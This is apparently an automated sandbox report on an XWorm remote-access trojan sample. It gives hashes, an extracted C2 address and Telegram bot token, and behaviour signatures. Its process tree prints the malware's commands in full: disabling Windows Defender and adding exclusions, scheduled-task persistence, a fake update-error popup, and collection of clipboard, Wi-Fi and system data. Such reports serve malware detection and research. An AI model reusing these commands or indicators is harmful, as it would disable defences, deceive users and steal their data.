Analysis
-
max time kernel
146s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
14-10-2024 01:57
Behavioral task
behavioral1
Sample
d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe
Resource
win10v2004-20241007-en
General
-
Target
d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe
-
Size
7.6MB
-
MD5
4667ad84b811400babc982785614bb5f
-
SHA1
0016a4d0e998382722895dee4a062c0c318e37bf
-
SHA256
d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda
-
SHA512
f3276d245eae7a52233e785c9a79cc9de034b89fec7ccf22ba796c2cc8789541e5cfeb0299e8b430b6bfab43a6ecb1c0fc94ac64022320e413925649c454d2cf
-
SSDEEP
196608:MvhBhOurErvI9pWjg/Qc+4o673pNrabeYyzWG+MYnN9sp:K4urEUWjZZ4dDLIeLzWG+TNCp
Malware Config
Extracted
xworm
198.23.219.104:7000
-
Install_directory
%AppData%
-
install_file
word.exe
-
telegram
https://api.telegram.org/bot7151126433:AAGnFv8HooRtSQ_cEeb4ANUyyyQ1LbT0Ehc
Signatures
-
Detect Xworm Payload 2 IoCs
resource yara_rule behavioral2/files/0x000c000000023bab-90.dat family_xworm behavioral2/memory/4652-92-0x0000000000210000-0x0000000000226000-memory.dmp family_xworm -
pid Process 4020 powershell.exe 4008 powershell.exe 3116 powershell.exe 628 powershell.exe 3884 powershell.exe 1128 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\Control Panel\International\Geo\Nation bound.exe -
Clipboard Data 1 TTPs 2 IoCs
Adversaries may collect data stored in the clipboard from users copying information within or between applications.
pid Process 208 cmd.exe 1076 powershell.exe -
Drops startup file 2 IoCs
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\word.lnk bound.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\word.lnk bound.exe -
Executes dropped EXE 4 IoCs
pid Process 4652 bound.exe 1300 rar.exe 1832 word.exe 2368 word.exe -
Loads dropped DLL 17 IoCs
pid Process 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe -
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\word = "C:\\Users\\Admin\\AppData\\Roaming\\word.exe" bound.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 23 ip-api.com -
Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
-
Enumerates processes with tasklist 1 TTPs 3 IoCs
pid Process 1408 tasklist.exe 3352 tasklist.exe 2192 tasklist.exe -
resource yara_rule behavioral2/files/0x0008000000023c09-22.dat upx behavioral2/memory/4188-26-0x00007FFA36950000-0x00007FFA37015000-memory.dmp upx behavioral2/files/0x0008000000023bc3-28.dat upx behavioral2/files/0x0008000000023bd4-49.dat upx behavioral2/memory/4188-50-0x00007FFA4D830000-0x00007FFA4D83F000-memory.dmp upx behavioral2/files/0x0008000000023bd3-48.dat upx behavioral2/files/0x0008000000023bd0-47.dat upx behavioral2/files/0x000e000000023bce-46.dat upx behavioral2/files/0x0009000000023bca-45.dat upx behavioral2/files/0x0009000000023bc9-44.dat upx behavioral2/files/0x0009000000023bc8-43.dat upx behavioral2/files/0x000f000000023bba-42.dat upx behavioral2/files/0x0008000000023c23-41.dat upx behavioral2/files/0x0008000000023c11-40.dat upx behavioral2/files/0x0008000000023c10-39.dat upx behavioral2/files/0x0008000000023c08-36.dat upx behavioral2/files/0x0008000000023c06-35.dat upx behavioral2/files/0x0008000000023c07-32.dat upx behavioral2/memory/4188-31-0x00007FFA4BB80000-0x00007FFA4BBA5000-memory.dmp upx behavioral2/memory/4188-56-0x00007FFA46900000-0x00007FFA4692D000-memory.dmp upx behavioral2/memory/4188-58-0x00007FFA46A90000-0x00007FFA46AAA000-memory.dmp upx behavioral2/memory/4188-60-0x00007FFA468D0000-0x00007FFA468F4000-memory.dmp upx behavioral2/memory/4188-62-0x00007FFA36470000-0x00007FFA365EF000-memory.dmp upx behavioral2/memory/4188-64-0x00007FFA468B0000-0x00007FFA468C9000-memory.dmp upx behavioral2/memory/4188-66-0x00007FFA4AEA0000-0x00007FFA4AEAD000-memory.dmp upx behavioral2/memory/4188-68-0x00007FFA46870000-0x00007FFA468A3000-memory.dmp upx behavioral2/memory/4188-73-0x00007FFA463E0000-0x00007FFA464AD000-memory.dmp upx behavioral2/memory/4188-72-0x00007FFA36950000-0x00007FFA37015000-memory.dmp upx behavioral2/memory/4188-76-0x00007FFA4BB80000-0x00007FFA4BBA5000-memory.dmp upx behavioral2/memory/4188-78-0x00007FFA46850000-0x00007FFA46864000-memory.dmp upx behavioral2/memory/4188-81-0x00007FFA46840000-0x00007FFA4684D000-memory.dmp upx behavioral2/memory/4188-80-0x00007FFA46900000-0x00007FFA4692D000-memory.dmp upx behavioral2/memory/4188-74-0x00007FFA35F40000-0x00007FFA36469000-memory.dmp upx behavioral2/memory/4188-88-0x00007FFA45BB0000-0x00007FFA45CCA000-memory.dmp upx behavioral2/memory/4188-87-0x00007FFA46A90000-0x00007FFA46AAA000-memory.dmp upx behavioral2/memory/4188-191-0x00007FFA468D0000-0x00007FFA468F4000-memory.dmp upx behavioral2/memory/4188-228-0x00007FFA36470000-0x00007FFA365EF000-memory.dmp upx behavioral2/memory/4188-305-0x00007FFA468B0000-0x00007FFA468C9000-memory.dmp upx behavioral2/memory/4188-344-0x00007FFA46870000-0x00007FFA468A3000-memory.dmp upx behavioral2/memory/4188-346-0x00007FFA463E0000-0x00007FFA464AD000-memory.dmp upx behavioral2/memory/4188-347-0x00007FFA35F40000-0x00007FFA36469000-memory.dmp upx behavioral2/memory/4188-375-0x00007FFA36470000-0x00007FFA365EF000-memory.dmp upx behavioral2/memory/4188-369-0x00007FFA36950000-0x00007FFA37015000-memory.dmp upx behavioral2/memory/4188-370-0x00007FFA4BB80000-0x00007FFA4BBA5000-memory.dmp upx behavioral2/memory/4188-384-0x00007FFA36950000-0x00007FFA37015000-memory.dmp upx behavioral2/memory/4188-399-0x00007FFA36950000-0x00007FFA37015000-memory.dmp upx behavioral2/memory/4188-438-0x00007FFA463E0000-0x00007FFA464AD000-memory.dmp upx behavioral2/memory/4188-439-0x00007FFA35F40000-0x00007FFA36469000-memory.dmp upx behavioral2/memory/4188-437-0x00007FFA46870000-0x00007FFA468A3000-memory.dmp upx behavioral2/memory/4188-436-0x00007FFA4AEA0000-0x00007FFA4AEAD000-memory.dmp upx behavioral2/memory/4188-435-0x00007FFA468B0000-0x00007FFA468C9000-memory.dmp upx behavioral2/memory/4188-434-0x00007FFA36470000-0x00007FFA365EF000-memory.dmp upx behavioral2/memory/4188-433-0x00007FFA468D0000-0x00007FFA468F4000-memory.dmp upx behavioral2/memory/4188-432-0x00007FFA46A90000-0x00007FFA46AAA000-memory.dmp upx behavioral2/memory/4188-431-0x00007FFA46900000-0x00007FFA4692D000-memory.dmp upx behavioral2/memory/4188-430-0x00007FFA4D830000-0x00007FFA4D83F000-memory.dmp upx behavioral2/memory/4188-429-0x00007FFA4BB80000-0x00007FFA4BBA5000-memory.dmp upx behavioral2/memory/4188-428-0x00007FFA45BB0000-0x00007FFA45CCA000-memory.dmp upx behavioral2/memory/4188-427-0x00007FFA46840000-0x00007FFA4684D000-memory.dmp upx behavioral2/memory/4188-426-0x00007FFA46850000-0x00007FFA46864000-memory.dmp upx behavioral2/memory/4188-414-0x00007FFA36950000-0x00007FFA37015000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe -
System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
pid Process 4900 cmd.exe 4020 netsh.exe -
Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 1096 WMIC.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 3396 systeminfo.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 628 schtasks.exe -
Suspicious behavior: EnumeratesProcesses 32 IoCs
pid Process 3884 powershell.exe 3884 powershell.exe 3116 powershell.exe 3116 powershell.exe 628 powershell.exe 628 powershell.exe 1128 powershell.exe 1128 powershell.exe 1076 powershell.exe 1076 powershell.exe 3884 powershell.exe 3884 powershell.exe 3116 powershell.exe 3116 powershell.exe 4484 powershell.exe 4484 powershell.exe 628 powershell.exe 628 powershell.exe 1128 powershell.exe 1076 powershell.exe 4484 powershell.exe 4020 powershell.exe 4020 powershell.exe 4020 powershell.exe 3640 powershell.exe 3640 powershell.exe 3640 powershell.exe 4652 bound.exe 4008 powershell.exe 4008 powershell.exe 2452 powershell.exe 2452 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4652 bound.exe Token: SeDebugPrivilege 3352 tasklist.exe Token: SeDebugPrivilege 1408 tasklist.exe Token: SeDebugPrivilege 3884 powershell.exe Token: SeDebugPrivilege 3116 powershell.exe Token: SeDebugPrivilege 628 powershell.exe Token: SeDebugPrivilege 1128 powershell.exe Token: SeIncreaseQuotaPrivilege 4176 WMIC.exe Token: SeSecurityPrivilege 4176 WMIC.exe Token: SeTakeOwnershipPrivilege 4176 WMIC.exe Token: SeLoadDriverPrivilege 4176 WMIC.exe Token: SeSystemProfilePrivilege 4176 WMIC.exe Token: SeSystemtimePrivilege 4176 WMIC.exe Token: SeProfSingleProcessPrivilege 4176 WMIC.exe Token: SeIncBasePriorityPrivilege 4176 WMIC.exe Token: SeCreatePagefilePrivilege 4176 WMIC.exe Token: SeBackupPrivilege 4176 WMIC.exe Token: SeRestorePrivilege 4176 WMIC.exe Token: SeShutdownPrivilege 4176 WMIC.exe Token: SeDebugPrivilege 4176 WMIC.exe Token: SeSystemEnvironmentPrivilege 4176 WMIC.exe Token: SeRemoteShutdownPrivilege 4176 WMIC.exe Token: SeUndockPrivilege 4176 WMIC.exe Token: SeManageVolumePrivilege 4176 WMIC.exe Token: 33 4176 WMIC.exe Token: 34 4176 WMIC.exe Token: 35 4176 WMIC.exe Token: 36 4176 WMIC.exe Token: SeDebugPrivilege 1076 powershell.exe Token: SeDebugPrivilege 2192 tasklist.exe Token: SeIncreaseQuotaPrivilege 4176 WMIC.exe Token: SeSecurityPrivilege 4176 WMIC.exe Token: SeTakeOwnershipPrivilege 4176 WMIC.exe Token: SeLoadDriverPrivilege 4176 WMIC.exe Token: SeSystemProfilePrivilege 4176 WMIC.exe Token: SeSystemtimePrivilege 4176 WMIC.exe Token: SeProfSingleProcessPrivilege 4176 WMIC.exe Token: SeIncBasePriorityPrivilege 4176 WMIC.exe Token: SeCreatePagefilePrivilege 4176 WMIC.exe Token: SeBackupPrivilege 4176 WMIC.exe Token: SeRestorePrivilege 4176 WMIC.exe Token: SeShutdownPrivilege 4176 WMIC.exe Token: SeDebugPrivilege 4176 WMIC.exe Token: SeSystemEnvironmentPrivilege 4176 WMIC.exe Token: SeRemoteShutdownPrivilege 4176 WMIC.exe Token: SeUndockPrivilege 4176 WMIC.exe Token: SeManageVolumePrivilege 4176 WMIC.exe Token: 33 4176 WMIC.exe Token: 34 4176 WMIC.exe Token: 35 4176 WMIC.exe Token: 36 4176 WMIC.exe Token: SeDebugPrivilege 4484 powershell.exe Token: SeDebugPrivilege 4020 powershell.exe Token: SeDebugPrivilege 3640 powershell.exe Token: SeIncreaseQuotaPrivilege 748 WMIC.exe Token: SeSecurityPrivilege 748 WMIC.exe Token: SeTakeOwnershipPrivilege 748 WMIC.exe Token: SeLoadDriverPrivilege 748 WMIC.exe Token: SeSystemProfilePrivilege 748 WMIC.exe Token: SeSystemtimePrivilege 748 WMIC.exe Token: SeProfSingleProcessPrivilege 748 WMIC.exe Token: SeIncBasePriorityPrivilege 748 WMIC.exe Token: SeCreatePagefilePrivilege 748 WMIC.exe Token: SeBackupPrivilege 748 WMIC.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4652 bound.exe -
Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 3972 wrote to memory of 4188 3972 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 85 PID 3972 wrote to memory of 4188 3972 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 85 PID 4188 wrote to memory of 2280 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 89 PID 4188 wrote to memory of 2280 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 89 PID 4188 wrote to memory of 4204 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 90 PID 4188 wrote to memory of 4204 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 90 PID 4188 wrote to memory of 2708 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 91 PID 4188 wrote to memory of 2708 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 91 PID 4188 wrote to memory of 2260 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 92 PID 4188 wrote to memory of 2260 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 92 PID 4188 wrote to memory of 4948 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 93 PID 4188 wrote to memory of 4948 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 93 PID 4188 wrote to memory of 2120 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 98 PID 4188 wrote to memory of 2120 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 98 PID 4188 wrote to memory of 4600 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 101 PID 4188 wrote to memory of 4600 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 101 PID 4188 wrote to memory of 5112 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 102 PID 4188 wrote to memory of 5112 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 102 PID 2260 wrote to memory of 4652 2260 cmd.exe 105 PID 2260 wrote to memory of 4652 2260 cmd.exe 105 PID 4600 wrote to memory of 1408 4600 cmd.exe 107 PID 4600 wrote to memory of 1408 4600 cmd.exe 107 PID 5112 wrote to memory of 3352 5112 cmd.exe 106 PID 5112 wrote to memory of 3352 5112 cmd.exe 106 PID 2280 wrote to memory of 1128 2280 cmd.exe 108 PID 2280 wrote to memory of 1128 2280 cmd.exe 108 PID 4204 wrote to memory of 3116 4204 cmd.exe 109 PID 4204 wrote to memory of 3116 4204 cmd.exe 109 PID 2708 wrote to memory of 3884 2708 cmd.exe 110 PID 2708 wrote to memory of 3884 2708 cmd.exe 110 PID 2120 wrote to memory of 628 2120 cmd.exe 111 PID 2120 wrote to memory of 628 2120 cmd.exe 111 PID 4188 wrote to memory of 4356 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 113 PID 4188 wrote to memory of 4356 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 113 PID 4188 wrote to memory of 208 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 115 PID 4188 wrote to memory of 208 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 115 PID 4188 wrote to memory of 1424 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 116 PID 4188 wrote to memory of 1424 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 116 PID 4948 wrote to memory of 2600 4948 cmd.exe 118 PID 4948 wrote to memory of 2600 4948 cmd.exe 118 PID 4188 wrote to memory of 4900 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 120 PID 4188 wrote to memory of 4900 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 120 PID 4188 wrote to memory of 552 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 119 PID 4188 wrote to memory of 552 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 119 PID 4188 wrote to memory of 692 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 122 PID 4188 wrote to memory of 692 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 122 PID 4188 wrote to memory of 3632 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 124 PID 4188 wrote to memory of 3632 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 124 PID 4356 wrote to memory of 4176 4356 cmd.exe 128 PID 4356 wrote to memory of 4176 4356 cmd.exe 128 PID 208 wrote to memory of 1076 208 cmd.exe 129 PID 208 wrote to memory of 1076 208 cmd.exe 129 PID 4900 wrote to memory of 4020 4900 cmd.exe 154 PID 4900 wrote to memory of 4020 4900 cmd.exe 154 PID 1424 wrote to memory of 2192 1424 cmd.exe 131 PID 1424 wrote to memory of 2192 1424 cmd.exe 131 PID 3632 wrote to memory of 4484 3632 cmd.exe 132 PID 3632 wrote to memory of 4484 3632 cmd.exe 132 PID 552 wrote to memory of 2392 552 cmd.exe 133 PID 552 wrote to memory of 2392 552 cmd.exe 133 PID 692 wrote to memory of 3396 692 cmd.exe 134 PID 692 wrote to memory of 3396 692 cmd.exe 134 PID 4188 wrote to memory of 2424 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 135 PID 4188 wrote to memory of 2424 4188 d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe 135 -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe"C:\Users\Admin\AppData\Local\Temp\d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe"1⤵
- Suspicious use of WriteProcessMemory
PID:3972 -
C:\Users\Admin\AppData\Local\Temp\d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe"C:\Users\Admin\AppData\Local\Temp\d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe"2⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:4188 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe'"3⤵
- Suspicious use of WriteProcessMemory
PID:2280 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\d69647cf1c96e058e4a9ed4887cc08a36c863751e711f98171e32cdc36478eda.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1128
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"3⤵
- Suspicious use of WriteProcessMemory
PID:4204 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3116
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"3⤵
- Suspicious use of WriteProcessMemory
PID:2708 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3884
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "start bound.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:2260 -
C:\Users\Admin\AppData\Local\Temp\bound.exebound.exe4⤵
- Checks computer location settings
- Drops startup file
- Executes dropped EXE
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4652 -
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "word" /tr "C:\Users\Admin\AppData\Roaming\word.exe"5⤵
- Scheduled Task/Job: Scheduled Task
PID:628
-
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('System failed to install recent update. click ok to retry.', 0, 'Error', 0+16);close()""3⤵
- Suspicious use of WriteProcessMemory
PID:4948 -
C:\Windows\system32\mshta.exemshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('System failed to install recent update. click ok to retry.', 0, 'Error', 0+16);close()"4⤵PID:2600
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"3⤵
- Suspicious use of WriteProcessMemory
PID:2120 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'4⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:628
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:4600 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:1408
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:5112 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:3352
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"3⤵
- Suspicious use of WriteProcessMemory
PID:4356 -
C:\Windows\System32\Wbem\WMIC.exeWMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName4⤵
- Suspicious use of AdjustPrivilegeToken
PID:4176
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"3⤵
- Clipboard Data
- Suspicious use of WriteProcessMemory
PID:208 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell Get-Clipboard4⤵
- Clipboard Data
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1076
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tasklist /FO LIST"3⤵
- Suspicious use of WriteProcessMemory
PID:1424 -
C:\Windows\system32\tasklist.exetasklist /FO LIST4⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:2192
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "tree /A /F"3⤵
- Suspicious use of WriteProcessMemory
PID:552 -
C:\Windows\system32\tree.comtree /A /F4⤵PID:2392
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "netsh wlan show profile"3⤵
- System Network Configuration Discovery: Wi-Fi Discovery
- Suspicious use of WriteProcessMemory
PID:4900 -
C:\Windows\system32\netsh.exenetsh wlan show profile4⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
PID:4020
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "systeminfo"3⤵
- Suspicious use of WriteProcessMemory
PID:692 -
C:\Windows\system32\systeminfo.exesysteminfo4⤵
- Gathers system information
PID:3396
-
-
-
